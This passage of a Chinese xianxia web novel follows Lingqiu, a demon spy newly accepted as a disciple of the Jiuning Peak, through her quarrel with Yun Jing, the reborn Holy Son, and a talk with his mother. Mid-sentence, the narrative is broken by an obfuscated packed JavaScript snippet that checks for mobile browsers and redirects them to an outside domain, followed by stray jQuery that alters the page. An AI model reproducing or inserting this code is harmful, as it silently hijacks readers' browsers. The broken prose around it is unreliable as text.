两位仙尊微一凝神,忽地收剑入鞘。 “你们输了。”男人语气平淡,并无嘲讽。 他的眼神落到灵秋身上,对白衣仙尊昂首:“师妹,我看这姑娘资质实属上乘,又与你脾性相投,不若你求一求师尊,将她收了去,做小弟子如何?” 白衣仙尊道:“我倒是想,只是不知道人家愿不愿意。” 她看向灵秋:“做我的弟子,你可乐意?” “不愿意。”灵秋直直盯着面前两人。 一旁的蓝袍仙士当即嚷道:“我说聂姑娘,我师尊与师伯亲口相邀,你可别敬酒不吃吃罚酒。” 他哼哼骄傲道:“我们九凝峰可不是什么人都要的!” 原来是九凝峰。 灵秋了然。 传闻太霄辰宫共有主峰十二座,其中两座最为特殊,分别是妙华尊者主位的九凝峰和嵇玄尊者主位的紫英峰。 之所以称作特殊,只因这两位与神尊徐悟师出同门,早在他还是南明剑子时便追随在他身侧。 灵秋看向高台上徐悟身侧一左一右端坐的人,其中一位素青长袍,鬓发高束的便是方才唤那白衣仙尊为“阿姮”的妙华尊者了。 作为徐悟的师妹,传闻此人年轻时风华绝代,佩剑青鸾,一套自创的流云十三式招法连绵、柔中带刚,引无数仙门同僚竞折腰。 只可惜修炼此招对悟性要求极高,以至于妙华尊者座下弟子至今无一人有能力继承这套绝世剑法。 若说年轻时风华绝代、容色姣好,如今的妙华尊者便是玉石成山,不怒自威,不施粉黛却自有一股清绝之气,眉细目沉,眼角微挑,眼下虽已有细纹,却丝毫不显老态,反似剑影刀痕,静揽百年风雨不言。 这双眼睛望人时神色淡淡,却叫人莫敢贸然直视,敬畏自生。 或许这就是活得久的优势吧。 灵秋对九凝峰没有兴趣。 当日在江底,阿紫所说乾坤山海图能复活母亲的话仍时常萦绕在她耳畔。 这本是魔族派她潜入仙门的目的,既然不谋而合,灵秋最想拜入的实则是徐悟座下,然而徐悟已经有数百年未收过新弟子,她便将目光投向紫英峰。 世人皆知,嵇玄尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649424|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者才是神尊最为信赖的左膀右臂,也是他最为亲近的人。 与紫英峰相比,九凝峰反倒是不受重视的那个。 白衣仙尊问她:“为何不愿?” 灵秋只道:“今日比试我输给了前辈,可我不服。总有一日我会向二位讨教回来。若今日拜您为师,来日师尊反败于我剑下,岂非我忤逆师门,为徒不肖?所以我不愿意。” 白衣仙尊与那男人闻言却纷纷笑出声:“你可知我二人何时入门,又修炼了多少年?若今日败在你们这两个后辈手上,那才真叫贻笑大方。” “罢了罢了。”白衣仙尊摆摆手,向上座道:“究竟如何还请师尊与诸位师伯定夺。” 灵秋和她一道看向上方,眼神不经意间对上嵇玄尊者,谁料后者一见到她,眉骤然一蹙,立刻移开目光。 冷淡意味分明,甚至有那么一瞬间,灵秋从他眼中品出了几分轻蔑。 她一时不知自己哪里得罪了这位尊者,还未来得及细想,下一瞬,只听一道声音响起:“聂苏一脉身负天命,此子剑骨虽未大成,然悟性极高,不出一载必能将流云十三式尽数习得。诸位若无异议,我愿将其收入座下。” 说话的是妙华尊者。 灵秋惊讶地抬头,下一瞬却听见一声不屑的嗤鼻之声。 嵇玄尊者道:“师妹既然想要,将人收了便是。” 好了,这下她再也无需争取了。 灵秋动了动仰得酸疼的脖子,眼前一片眩晕,险些栽倒下去。 她这时才隐约记起,似乎上回饮酒也是这般。 那时喝的是什么来着…… 桂花酿? 不应该啊。 妙华尊者在这时垂眸问道:“同门切磋,输赢自是常事。你可愿意?” “晚辈愿意。” 识时务者为俊杰。 “好。”妙华尊者点头,赐下一枚剔透闪光的玉牌,“从今日起你便是本尊座下弟子,排行十一。” 灵秋将玉牌握在掌心,俯首行礼道:“弟子拜见师尊。” “不做弟子,做师妹也不错。”白衣仙尊一笑,上前扶起她。 “我是你五师姐容姮。”她拉过一侧的男人,“这是你二师兄谢岑。” “见过五师姐,见过二师兄。”起得太急,灵秋行礼的时候险些打了个晕乎乎的踉跄。 “对了!”她突然想到,“我拜入九凝峰,云靖呢?” 她看向身后默默站在原地的少年,四目相撞间竟从他眼底读出几分近似失落的伤色,不由困惑道:“为何不让云靖上前?” 容姮闻言却露出一个奇怪的笑:“小师妹还不知道?这银霜楼少主乃圣子转世,徐师兄本是神尊座下首席,轮回一遭,自然依旧拜在神尊座下。” “师姐是说神尊要收云靖为徒?” 又是圣子,又是首席,脑子里一团浆糊,灵秋只听懂了最重要的一句话。 明明她才是这届阳华仙会的魁首,为什么拜入徐悟门下的却是云靖? “没错。”一旁的谢岑道:“拜师大典择吉日举行,届时我们都要去观礼。” “还有拜师大典!?”灵秋深吸气,低头看一眼自己手里捏着的玉牌。 她就这么草率地拜完师了,方才一共说了几句话来着? 晕。 “自然,神尊数百年未收徒,此事如今乃太霄辰宫第一大事。”容姮道:“对了,待云靖拜入神尊座下,你可不能再直呼其名了。” “为、为什么?”灵秋不解。 “太霄辰宫一向纪律严明,神尊与我们师尊是师兄妹,云靖拜入他的座下,你我都该唤他一句师兄,需恭敬对待,自然不能直呼其名。” “啊?”灵秋迷茫地眨眨眼,像没怎么听懂,“师兄?” 她指了指自己:“我?” 容姮掰过她的手,指向远处的少年,强调道:“他。师兄。” 灵秋嘴角抽搐,干笑一声:“哈哈,不可能。” 她转向容姮和谢岑,指着云靖嘿嘿一笑:“他怎么可能做我的师兄呢?他可是……他可是我的……” 话还没说完,酒气上头,灵秋身子轻轻一晃,一头栽倒下去。 身体没能接触到坚硬的地面,迷迷糊糊间飘过一阵桂花甜香,夹杂着血腥味,与她一并坠入一片柔软。 47.飘摇仙会圣子重迎(5) 清溪自山顶奔涌而下,潺潺流水撞击乱石,激起飞浪点点,前仆后继,一声压过一声,急促似人低语。 云香软榻,春风吹起纱帐,窗外香椿枝影斜斜。 灵秋醒来时,一片椿叶轻飘飘地擦过她的脸,落到枕边。 做了好长的一个梦,醒来时房内布置陌生,衣裳换过,左臂伤口没能愈合,仍薄薄地裹了一层纱布,身上盖着被子,四角都被人妥帖地压实。 她从床上下来,推开雕花木门。 东风猎猎,迎面而来,吹得头脑发晕。 风卷过峦峰峭壁,带动万松千枝如浪。远山叠嶂,碧空茫茫,宛若画卷之上泼墨洇开,浓淡相宜。 一路走来毫无人迹。这里已经不是阳华境了。 突然,一阵窸窸窣窣的声音传来。 灵秋循着声源走过去,只见屋子后面青瓦底下站着个姑娘。 少女身穿一件石青色绫袄,配一条月白纱裙,梳着双丫髻,左右各簪一朵绒花,装扮得清雅素净。 那姑娘原本正挥着手上的砍柴刀,察觉到动静,抬起头来。 “你醒了?”她将柴刀一扔,快步迎上来。 “这是哪里?”灵秋生出几分警惕。 姑娘笑道:“回聂师姐,此处是阳华境外的苍苍山,先前入选的师兄姐们都先暂住在这儿,待三日后再入太霄辰宫。” “我不姓聂。不要叫我聂师姐。”灵秋皱眉,“你是什么人?为什么这里只有我们两个?” 姑娘一愣,笑容僵在脸上,语气也有些慌:“我是太霄辰宫九凝峰的外门弟子,我叫池鸢。今日是圣子的拜师大会,大家都到阳华境中观礼去了,留我一人在此处照料师姐。” “你很怕我?”灵秋垂眸看一眼池鸢,“我只是讨厌别人擅自替我改名而已,你唤我凌师姐就好了。” 自从认下聂苏后人的身份,便有许多不识趣的人改称她为聂姓。晦气得要命。 池鸢点点头,总算松了口气,唤她一句:“凌师姐。” 灵秋道:“我问你,你说今日是圣子的拜师大会。圣子可是银霜楼的云靖?拜的师父可是神尊?” 醉倒过去前发生的事还历历在目,灵秋怎么也不相信,就因为一则荒谬的转世之说,一个处处不如她的云靖改头换面,转眼便拜入徐悟座下,还压她一头,成了师兄。 这一定是暗箱操作,是黑幕! 什么狗屁圣子? 那徐鉴真的事迹她在魔族时也略有耳闻。 据说当年此人曾深入魔域,不分老幼,屠戮魔族数百,血洗魔域,犯下滔天杀孽。 而这一切的起因不过是有魔不小心误摘了他养在院子里的一朵破花。 头回听到这桩旧事时,灵秋只放言道:“若叫我生在五百年前,定将这竖子的头颅斩下,送他去无间地狱投胎!” 要说云靖是徐鉴真转世,经历过阿紫设下的幻境,灵秋是万万不信的。 倘若数百年前魔族与人族果真互不侵扰,只怕他不仅不会屠魔,还会傻乎乎地自损修为救魔。 就像那时在江底,他不惜动用血脉之力阻她杀灭兽化的异人一样。 从徐鉴真对待魔族的手段足以看出,纵然是千人万人大赞其风光霁月,到底是心狠手辣之辈。 如此倒与她颇有几分相似。 人魔两立,都是杀人不眨眼的主,你杀过来我杀过去,圣子又怎样?装得再白玉无瑕又能怎样? 灵秋在心底暗嘲:“与其说云靖是圣子转世,还不如说她是。毕竟徐鉴真和她才是一种人,云靖则与他们完全不同。” 换言之,拜入徐悟座下以便随时盗取山海乾坤图的人应该是她啊! 现在这样实在是太荒谬了! 池鸢忙不迭点头,灵秋只觉得气不打一处来。 她盯着远处起伏的山脉,眉紧紧皱着。池鸢看在眼里,只当她是思念起圣子来。 七日间,凌师姐晕倒的事早就传遍了。其中最令人在意的莫过于当日在擂台上,召雪与凝霜刀剑合璧,她倒下之时圣子急忙上前,将人稳稳接在怀里。 凌师姐醉酒昏睡的这几日,圣子日日拨冗前来,守护在床侧。 仙尊派她前来服侍师姐,谁料除了换衣之类的私事,圣子守在一边,事事亲力亲为,就连今日拜师大典这样的盛事当前也不忘请她提前劈好柴,以便一回来就能替师姐熬煮汤药。 七日来,池鸢只在心底暗暗感叹。 要知道,虽然太霄辰宫内众人所修如逍遥道、多情道、苍生道、杀戮道、红尘道,道道不同。 三千大道,百花齐放。 当年作为神族座下首席的圣子却不为所动,毫不犹豫地选了无情道,道心之坚连神尊也不禁感叹:此子更胜自己当年,不出千年必能有所大成。 自从云靖拔出琅琊剑,世人目光灼灼,只寄希望于他能承袭琅琊衣钵,重归圣子之位。 最好能在五百年内飞升大道,肃清人间作乱妖魔,还天下苍生太平。 要知道在此之前,他曾求学于太虚宫,所修的正是无情道。 冥冥之中,一切仿佛自有天意。 关于凌师姐与圣子关系的传言早有流传,一说女方痴心不改,一说男方倾心追随,扑朔迷离,没个定论,直教爱听八卦的人抓耳挠腮。 然而自从琅琊认主,再也没人对这些流言津津乐道了。 当日擂台上的事一发生,众人私下讨论,多是非议。 魔族侵袭,本是多事之秋。 那日过后,依靠圣子转世这一爆炸性喜讯稍稍压制下来的质疑与恐慌重新躁动。 众人唯恐圣子为情所误,干扰修行。 不得已,太霄辰宫只好出面澄清,宣称一切都是误会。 只是谁也没料到,澄清当日,圣子竟自己对着众人宣布将弃无情道,入有情道。 一举惊世,天下人无不瞠目结舌。 如此之后,世人方知流言为真。 当日之景仍历历在目,虽然以紫英峰嵇玄仙尊为首的外界对此事多持反对态度,池鸢却在亲自见到圣子与凌师姐后产生了完全不同的看法。 她和几个小姐妹四处打探,连诸如凝霜剑与召雪刀是一对这种鲜为人知的消息也挖了出来。 几人深深感叹:这简直是天作之合嘛! 池鸢心想:不知道外面那些老顽固究竟在反对些什么?要说修为,凌师姐是正道魁首,又是古今天资第一人。 从古到今诶。 能与她一起修道,是圣子的福气才对。 不过,池鸢偷偷看一眼灵秋。 她只知道圣子要修有情道,却不知凌师姐修的又是什么道。 不仅她不知情,其他人也不知情。 世人惊觉,一直以来除了师姐天资聪颖、厉害非常外,其余关于她的事竟然无一人了解! 针对此事众人早已经热议过一轮,打探消息的人踏破了逍遥派的门槛,只得出凌师姐所修既非无情道,也非有情道。 不是无情道就好! 池鸢知道这一点就放心了。 眼下,灵秋盯着远处,神色不虞,池鸢忍不住出言劝慰:“拜师大典很长的,师姐要不先回屋等吧。” “等?”灵秋反问。 池鸢道:“师姐不是在等圣子吗?” 远处传来肃肃的风声。 池鸢不可置信地捂住嘴,惊喜道:“圣子回来了!” 灵秋望着那越来越近的身影,冷笑连连,咬牙切齿:“是啊,我的确是在等他。” 言语间,猛地劈手挥出一道剑气。 池鸢目瞪口呆地看着剑光划过碧色长空,直冲云靖刺去。 她猛地转头,只见灵秋脸上哪有什么爱侣重逢的温柔情态,那美目之中冷色如霜,根本像是见到了仇家! 我的个天道奶奶,什么情况? 怎么这对璧人其实是一对仇人!? 池鸢倒吸一口凉气。 也没有谣言说过这回事啊! 眼看云靖越飞越近,灵秋丝毫没有收手的意思。 二者俱是高手,冲突一触即发,池鸢赶忙一退十米远,以免一个不注意,自己成了炮灰。 召雪刀刷的一下横在云靖面前,他从大典上匆匆赶回,还穿着锦衣华服。 白衣胜雪,云线绣兰鹤,玉带缀流苏,温润剔透,勾勒出劲瘦的腰线轮廓。< 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灵秋在心底猛锤自己,又怕他再掉眼泪,心烦意乱地收了召雪。 “罢了,随便你。” 她心里清楚得很,选择权不在自己,也不在云靖手里。 无非是找人派遣,转移火气。 可总惹人掉眼泪也不是长久之计。 说来奇怪,杀人放火的事做了个遍,她却偏偏怕了他的几滴眼泪。 真是见鬼。 池鸢劈好的柴燃起来,灶上热着一碗汤药和一笼桂花糕。 记挂着灵秋,云靖一参加完主要的仪式便找借口早早退场,回来的第一件事是一头扎进厨房替她洗手作羹汤,身上还穿着隆重而华美的锦袍。 云靖在揉面,灵秋就搬了凳子坐在一边看他动作。 她看他从境中拿出装满桂花的小瓶子,使劲吸了吸鼻子:“花是哪儿来的?好香。” 云靖道: “上个秋天收集的。” 其实他挑挑拣拣了好多个秋天。 云靖的侧脸对着她,皮肤细腻光滑,丝毫没有当日那道血痕的影子。 原本还担心他会因此破相,毁了容貌,梦里都在冥思苦想祛疤的法子,没想到不过睡了一夜,她的漂亮仆人便完好无损地出现在眼前,换了一身好看得不像话的衣服,整个人像新的一样。 抛开拜师这回事不说,灵秋对目前的状况很满意。 没能拜在徐悟门下,也没能入紫英峰,她需要想别的办法接近太霄辰宫的核心,找到乾坤山海图。 仙门中,圣子是什么样的存在? 灵秋盯着地面走神,下一瞬,面前凑过来一只香囊似的东西。 好浓郁的桂花香。 她抬头一看,撞进云靖的眼睛。 原来这就是一只香囊。 “喜欢吗?”云靖问她。 “还行。” 其实很喜欢。 桂花香是她最爱的味道,自从有记忆开始她也很少收到别人赠礼。 即便如此,灵秋依旧决定保持冷静,故作镇静。 唯一美中不足的是,香囊上绣了两只鸡。 逍遥派后山养了一群土鸡,灵秋喂过它们——不是很愉快的经历。 她不明白凡人把这种东西绣在香囊上的用意。 云靖在这时问她:“我替你系上可好?” 灵秋随意点了下头。 云靖的手碰到她的腰,或许是错觉,她觉得他在不受控制地轻轻颤抖。 香囊系上了,云靖也没急着回去。 他蹲在地上与她平视,扭捏半天,支支吾吾道:“这、这个香囊是我自己绣的。” 灵秋低头看一眼腰间依偎在一起的两只鸡:“……那你还挺有才的。” “我就是想告诉你这个。”云靖道。 “知道了。”灵秋盘算着乾坤山海图的事。 她对云靖说:“如今你是圣子了,想必一定很受神尊重视吧?” 云靖的脸色忽然一僵,几乎是下意识地脱口大喊道:“我和他不一样!” 48.飘摇仙会圣子重迎(6) 灵秋道:“我只不过随口一问,你这么激动做什么?” 事情已经这样了,借云靖接近徐悟也不失为一个法子。 太霄辰宫主峰十二座,徐悟所在的那座名为雾晴,是这天下至高之处,传闻伸手可摘星辰。 云靖做了徐悟的弟子,日后和徐悟一起住在雾晴峰上。只要与他常常走动,不怕找不到机会将雾晴峰翻个底朝天。 灵秋望着眼前人,眼波流转,定了主意。 她继续道:“你做了仙门圣子。这样大的殊荣,我该恭喜你。” 这一句是纯粹的奉承。 灵秋以为云靖会和颜悦色地照单全收,不料她话音一落,他神情一滞,蓦地变了脸色。 “绝非如此!”情急之下,云靖一把握住了她的手,“你要记着,我和徐鉴真不一样……不一样。” 他虽望着她,眼中却有一派迷茫,神游一般。出口的话不知是说给她,还是说给自己听。 灵秋疑惑地抽出手,云靖回神,紧跟着低头道:“我去看看糕。”言罢,生怕她诘问似的,匆匆起身走开了。 炊烟阵阵,不一会儿,池鸢抱着一捆柴走过来。 她把柴放在地上,余光瞄到灵秋腰间的香囊,抿嘴不语只笑。 池鸢一走,灵秋眼神一动,忙起身追出去。 “我问你,神尊对座下弟子是不是不好?” 两人走到远些的地方,灵秋向池鸢打探。 有流言称徐悟待下苛责,雾晴峰又被外人称作无情峰。 云靖的反应实在反常,她便以为是徐悟苛待了他。 池鸢只是一届外门弟子,平时万万接触不到神尊身边的人,也从没听人说过类似的事,忙冲灵秋摇头。 她远远看一眼灶边忙活的少年:“云公子乃圣子转世,神尊疼他还来不及,怎么会对他不好?整个太霄辰宫,不,是整个天下的人都仰慕爱重圣子,对他敬若神明!” 灵秋顺着池鸢的目光看过去。 笼屉轻轻翘起一角,蒸汽如白练般倾泻而出,袅袅绕绕,织出一重水雾帷幕。 云靖立在那雾气之中,衣袂微动,轮廓时现时隐,渺渺茫茫看不真切。 灵秋望着远处,只知道那是天地间难得的一则好风景。 “师姐是在担心圣子吗?我听人说许多年前曾有长老为圣子卜命,算出的结果极好,是个贵人相助、逢凶化吉的富贵命格呢。” 池鸢的语气带上几分艳羡,接着说:“师姐昏睡的这七日圣子忙着照顾你,神尊又常常派人来请他。两件事冲突起来,耽误了好几回也没见有人说些什么。” “太霄辰宫一向规矩严明,神尊唯独对圣子宽和至此,哪里又会苛待他?师姐只管放心好了。” “等等。”灵秋微微蹙眉,“你说我昏睡了几日?” 池鸢道:“七日啊。七日以来师姐一直都在此处昏睡。” 灵秋不可置信:“七日?这七日来我一直在这里,那我的师父和师姐他们又在哪里?七日里,难道没有一个人来看我?” 池鸢道:“师姐说的是逍遥派吧。并非他们不想,而是苍苍山一贯只允许太霄辰宫弟子入内,就连我这个外门人进来也是妙华尊者格外特许。” “当日师姐昏迷,入苍苍山的时间又是早就定好的,到了日子,圣子只好将你带到此处照顾。如此一来,逍遥派的人自然见不到师姐。” 灵秋听她这么说,道:“今日是拜师大典,我师父他们应该还没走。你告诉云靖,将桂花糕和饭菜热着,等我去阳华境见了师父再回来享用。” 说罢,脚下生风,就要朝着苍苍山外去。 池鸢见她来真的,当即慌了,大喊道:“凌师姐留步!若无神尊和长老的命令,弟子不得随意踏出苍苍山啊!” 灵秋闻言只嗤笑一声:“谁管他们。” 随即便消失在碧色的天际。 阳华境内仍残留着一派庆祝的氛围。 云雾自四方聚拢,雕梁画栋、殿宇浮光尽数裹进乳白色的轻纱之中,琉璃灯盏静立在和风里,映照檐下飞瓦,洒下点点微光。 彩带玉幡穿空而过,仙鹤凌天,兰草铺地,莲灯高悬,美乐自天外传来,若水击玉环,缥缈之中自有庄严。 众人沉浸在这幅盛景中,灵秋走上前,只见徐悟坐于主位。 他身侧,本该站着今日主角的地方只剩一柄银光闪闪的琅琊宝剑立在那里。 一场宴会失了主角,空余佩剑,宾客本该速速作鸟兽散,然而此刻,在座众人个个面色红润,安然端坐,兴致丝毫不减。 灵秋猜到云靖提前离场,知道他这样行事极不妥当。 毕竟魔族宴饮尚且讲究,一向以礼自居的仙门应该更在意这些虚礼。 然而徐悟和十二位长老稳坐高台,神色平和,脸上没有一点不悦。 灵秋一见,立即信了池鸢的话——太霄辰宫对云靖果然不是一般的好。 她在人群中找逍遥派,人还没找到,倒先被容姮和谢岑抓了个正着。 两人上前,容姮惊讶道:“小师妹?果然是你!你怎么到这儿来了?难道池鸢没叮嘱你,没有神尊和诸位长老的手令,弟子不得私自离开苍苍山吗?” 灵秋道:“五师姐,我是弟子,又不是囚犯。怎么就非得待在山上呢?” “谁说你是囚犯了?这是太霄辰宫历来的规矩。”容姮正色,“你下来做什么,云靖不是已经回去了吗?” 灵秋道:“谁说我是来找云靖的?我是想见见逍遥派的故人而已。” 她垂下脑袋,做出可怜的模样:“我知道入了太霄辰宫,或许这辈子都没机会再回胥阳山了。师父是我的救命恩人,我在逍遥派待了十年,如今要走,连句别也没向师父道,实在不孝。” “何况我走之前还偷了师父的酒喝,如果不能向他当面道歉,还有什么脸面活在世上?” “求师姐和师兄通融,千万不要把我捉到神尊面前去啊!” “你是九凝峰的人,我们怎么会把你带到神尊面前?”谢岑见她这幅可怜的慌张模样,觉得有趣,忍不住笑了。 灵秋道:“带到师尊面前也不可以啊!” “放心好了。”容姮揉揉她的脑袋,“此番也是人之常情,我们替你遮掩一时半刻,你自去逍遥派见师父,如何?” 灵秋笑起来:“自然好!谢谢师兄师姐。” 谢岑道:“你得保证,见完师父不许耽搁,立即回苍苍山去。” 灵秋举起一只手,做出指天发誓的姿态,振振有词:“我保证!” 拜别两人,灵秋的行动谨慎许多。 她没能在人群中找到哪怕一个逍遥派的人,正准备撤,不料身后传来一道声音:“凌姑娘请留步!” 灵秋转头一看,一个面生的银霜楼弟子正躲在角落,悄悄冲她招手。 灵秋走过去,那弟子恭敬行礼道:“我家夫人请姑娘一叙。” 念及段若霜与云靖的关系,灵秋看一眼西南方,跟着弟子往银霜楼去。 楼中众人都去观礼,还在宴席上,往日热闹的庭院显得有些冷清。 弟子将她引入门内,道:“请姑娘先到客室稍等片刻。” 说着,想替她引路。 灵秋一摆手:“不用麻烦,我知道你家会客厅在哪儿。” 言罢,穿过院子,直愣愣地朝里走去。 弟子眼见她左弯右拐,三过客室而不入,一把推开了云靖的卧房。 弟子瞪大了眼睛,灵秋早已自己挑了个位置坐下,给自己倒了杯茶。 恰在此时,段若霜出现在门口。 弟子忙低头弯腰,连连请罪。 段若霜摆摆手,没有责备,让他退出去。 房里只剩她和灵秋两个人。 灵秋抬头瞧段若霜一眼,重新拿杯斟了茶,放到自己对面,道:“不知夫人找我有什么事?” 她忙着回逍遥派,虽然看在云靖的面子上应邀前来,再多的恭敬却做不出来。 段若霜没说什么,坐到桌边,眼睛在那杯冷茶上沾了沾,没有要喝的意思。 她道:“今日请凌姑娘来,是有几句话想说。不过开口之前,我想知道姑娘为何会把此处错当成客室?” 灵秋道:“上回云靖命人带我来过。” 段若霜叹笑:“原来如此。” 灵秋又道:“怎么,夫人的意思是我记错了。这里不是会客厅?” 段若霜只摇头:“从前虽然不是,今后却是了。” 她道:“凌姑娘可知阿靖所修何道?” 灵秋点头:“外面饮酒的人都说他从前和徐鉴真一样修的是无情道,如今改修了有情道。” “那么姑娘可知阿靖为什么修无情道,又为什么改修有情道?” 灵秋微微蹙眉:“他为什么修无情道我不清楚,不过听那些人的话,云靖改修有情道似乎与一女子有关。” “这女子是谁?” “我怎么知道。”灵秋没了耐心,“夫人叫我来难道就是为了问这些莫名其妙的问题?” 段若霜深深望着她:“是你啊,凌姑娘。” “五年前你失约于他,阿靖大哭一场,心灰意冷,狠心择了无情道。” “五年后你再见到他,短短十数日阿靖便冒天下之大不韪,弃了数十年的修为,换无情为有情。” “姑娘可能明白他的苦心?” 灵秋默了一瞬,端起茶杯抿了一口。 茶是隔夜的,凉得沁人。 灵秋道:“我不明白。可我知道夫人的意思。” “你无非是想说云靖待我如此,我却辜负了他,对不起他这一番深情厚谊。” 她接着说:“我承认云靖待我不错,可你们总不能把什么东西都往我脑袋上扣吧?” “修无情道还是有情道是他自己选的,来日若有机缘悟道飞升,也只独飞他一个。难不成我还能从中分一杯羹?” “别的事倒罢了,这件事上我实在看不出他究竟是怎么在为我好。” “我既不修无情道,也不修有情道。”灵秋话锋一转,“不过,我愿意体谅夫人的一番爱子之心,可以答应你,日后进了太霄辰宫对云靖多加照顾,想办法助他修行。” 段若霜没想到灵秋会说出这么一番话,眉本微微皱起,听到她说愿助云靖修行时沉吟片刻,又稍松开。 她当即对灵秋道:“那便拜托姑娘了。” 灵秋点头,以为这就是段若霜找来自己的目的。 她不由得心想云靖还真有福气,即便已经做了万人敬仰的仙门圣子,马上就要一去万里,还有娘亲为他费心打算。 不知道要是自己的母亲还活着,是否也会如此? 如此想来不免有些低落,灵秋的视线从段若霜脸上挪开,不愿再看她一眼。 说完了事情,灵秋想走,段若霜却没有送客的意思。 她挪动凳子,反而坐得近些:“凌姑娘可知,这世上炼情之人,此生必遇一情劫。” 段若霜轻轻握上灵秋的手,温热的触感让她一怔。 灵秋看了眼面前的妇人,见她目中含情,眼角皱纹浅淡,似扇轻启,不觉沧桑,反多出几分慈祥来。 都是母亲,灵秋看着眼前人,不觉想到当日银白神鞭之下,面对自己声声恳求的闻人夫人。 漫天魔气的夜里,那妇人死在自己手中,喉骨尽碎、模样凄惨。 回忆起当日,她没由来地心下一空,一时竟忘了挣开段若霜的触碰。 段若霜见她没反应,言辞愈发恳切:“凌姑娘如今或许还不明白,可我作为阿靖的母亲只有一个请求。请你对他好些,不要为情伤他,让他吃苦,也不要害他太过伤心。” 灵秋道:“难道我待他不好吗?” 段若霜道:“你如今待他好,只不过是将他当作一件漂亮的玩物。” 她想到当日云靖因脸上伤口惊慌失措的模样,不禁又有几分心酸。 云靖自幼时极不喜他人谈论自己的长相。 他长得俊秀、漂亮,用他人的话来说,是个“比女娃娃还好看”的相貌。 只是容貌过盛,又是拿刀执剑的修士,每每与对手较量,或人或妖,不免招来轻视与嘲笑。 有那么一段时间,云靖恨极了自己的容貌,外出走动时必得戴着面具。 一次与妖缠斗,他负伤归家,脸也被面具的碎屑划破。 段若霜急得不行,生怕他从此破了相,云靖却一笑置之,只道:“留了疤才好。” 可惜伤好得彻底,什么也没留下。 云靖慢慢长大,周围人都知道,这张脸是他的逆鳞,一点也碰不得。 可自从跟随灵秋跳下万丈崖,再回来,一切都变了。 段若霜惊诧地发现,云靖开始注意自己的相貌。 一开始,她还没能真的察觉出什么。 直到前些日子,因为脸上那道小小的伤口,云靖竟不惜动用禁术,只为保全自己的容貌! 若不是于风发现异常,通知她和云正及时赶到,他险些因此丧命! 那日她将云靖搂在怀里,听他喃喃胡话,这才晓得他做这些事的原因——竟是因为灵秋喜欢他的脸! 段若霜深吸一口气,又记起那日魔族侵袭,灵秋当着太霄辰宫弟子的面称云靖为仆从。 两件事一合计,她还有什么不明白的? 只是从来没想到此二人荒谬至此罢了! 今日请灵秋来,正是为了云靖考虑。 事已至此,段若霜只愿她能对云靖好些。 毕竟在她心里,他们两人本该相护扶持,安然无忧地度过剩下的日子。 谁料灵秋听她这么说,却道:“即便如此,那也是他乐意的,不是吗?” 段若霜哑口无言、目瞪口呆地看着她,惊讶于她竟连辩也不辨,就这么堂而皇之地认下了。 如今的云靖背负着仙门圣子的名号,正如当年的徐师兄一般,何等尊?何等贵?何等不容亵渎! 若他不是云靖,段若霜恐怕早已拍桌而起,喝斥灵秋。 可他到底还是云靖,到底与眼前的姑娘拉扯不清,心甘情愿。 段若霜定了定心神,觉得再说下去也没有意义,只得摆手道:“还请姑娘记住我的话。” 言罢,便唤弟子送客。 今日这场大典本是人人期待的盛事,阳华境中各个门派悉数到齐,却唯独缺了一个逍遥派。 逍遥散人一病不起,强留一院弟子轮流侍疾。 一面是圣子加封,一面是礼仪仁孝,逍遥派的人去与不去,外人通通没话可说。 春季天气突变,外邪侵袭,逍遥散人还不是唯一生病的人。 听于风说,银霜楼的段夫人也告病在家,遗憾错过了这场大典。 逍遥派的院子里,江芙展开传音符,只见其上歪歪扭扭地画着几株兰草,又有仙鹤、云霞等等,一旁附注:故弄玄虚,甚是无聊,不来也好! 符是于风从宴席上传来的,江芙看完,随手往桌上一放——那里早积聚了一堆黄色的符篆。 从这场大典开始,于风的传音符就没断过。 他们虽然早就见过,互相知道姓名,也狠狠吵过两架,却在几日前才正式熟络起来。 于风来找她,美其名曰向她赔罪,从此便跟牛皮糖一样跟在她身后,怎么甩也甩不掉了。 江芙原本还恼,近日却再没心思想这些事了。 师父这场病来得很突然,全派上下乱成一团,作为大师姐,江芙恨不能日日守在他身边伺候尽心。 逍遥散人咳得震天响,吐出淤血和浓痰。 本以为他病入膏肓,几个年纪小的师弟师妹都开始偷偷抹眼泪了,江芙才偶然发现——散人此番乃是装病! 天知道她撞见师父把药倒掉,偷偷往嘴里灌酒时是什么心情。 江芙气冲冲地冲进屋子,本想当场抓个现行,却不料逍遥散人喝得醉醺醺,一把抓过她的手,怒斥道:“丧尽良心!” 江芙一下被他震住,回想起逍遥散人发病前的事。 那时离大典越来越近,师父愈发焦急,在廊下来回踱步,几度唤她去苍苍山找师妹,末了又一摆手,喃喃道:“不好,不必。” 过后更是反复叮嘱她:“千万不能去找凌秋。” 隐约预感到什么,江芙把逍遥散人扶上床,决意保守秘密,只安慰师弟师妹说师父的身体状况还算稳定。 时间眨眼飞逝,明日一早阳华仙会结束,众世家门派都要即刻离境。 江芙犹豫了一上午,盘算着要不要去趟苍苍山找师妹。 然而即使兰翘带着哭腔反复问她:“为什么师姐还不回来?”江芙心里始终顾忌师父的叮嘱。 她没想到灵秋会自己跑回来。 灵秋回到逍遥派的时候还是白天,听说师父生病立即就要入内探望,却被江芙找理由拦下来,让她先挨个去见师兄姐妹们 分离在即,大家有说不完的话要讲,兰翘更是恨不能时时挂在她身上,去哪儿都寸步不离地跟着。 这样耽搁到了晚上,灵秋终于找到空闲。 她立即要去探望师父,没想到江芙还是搬出理由来拦。 两人僵持,最后灵秋有些急了。 眼见聚在一起的同门越来越多,江芙终于把她拉到一边,将所有事情和盘托出。 谁知听了师姐的话,灵秋更坚持要和逍遥散人见一面。 她那时 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昏昏月色骤然落在地上,整间屋子一片黑暗,唯独左侧点了一盏灯,火光打在逍遥散人瘦削的脸上,酒液闪出粼粼的光,由人痛饮。 酒香氤氲,正是当日她偷走的那种名为桂花醉的烈酒。 灵秋走过去,唤了声:“师父?” 逍遥散人抬头看她,口中嘟囔几句,意味不明。 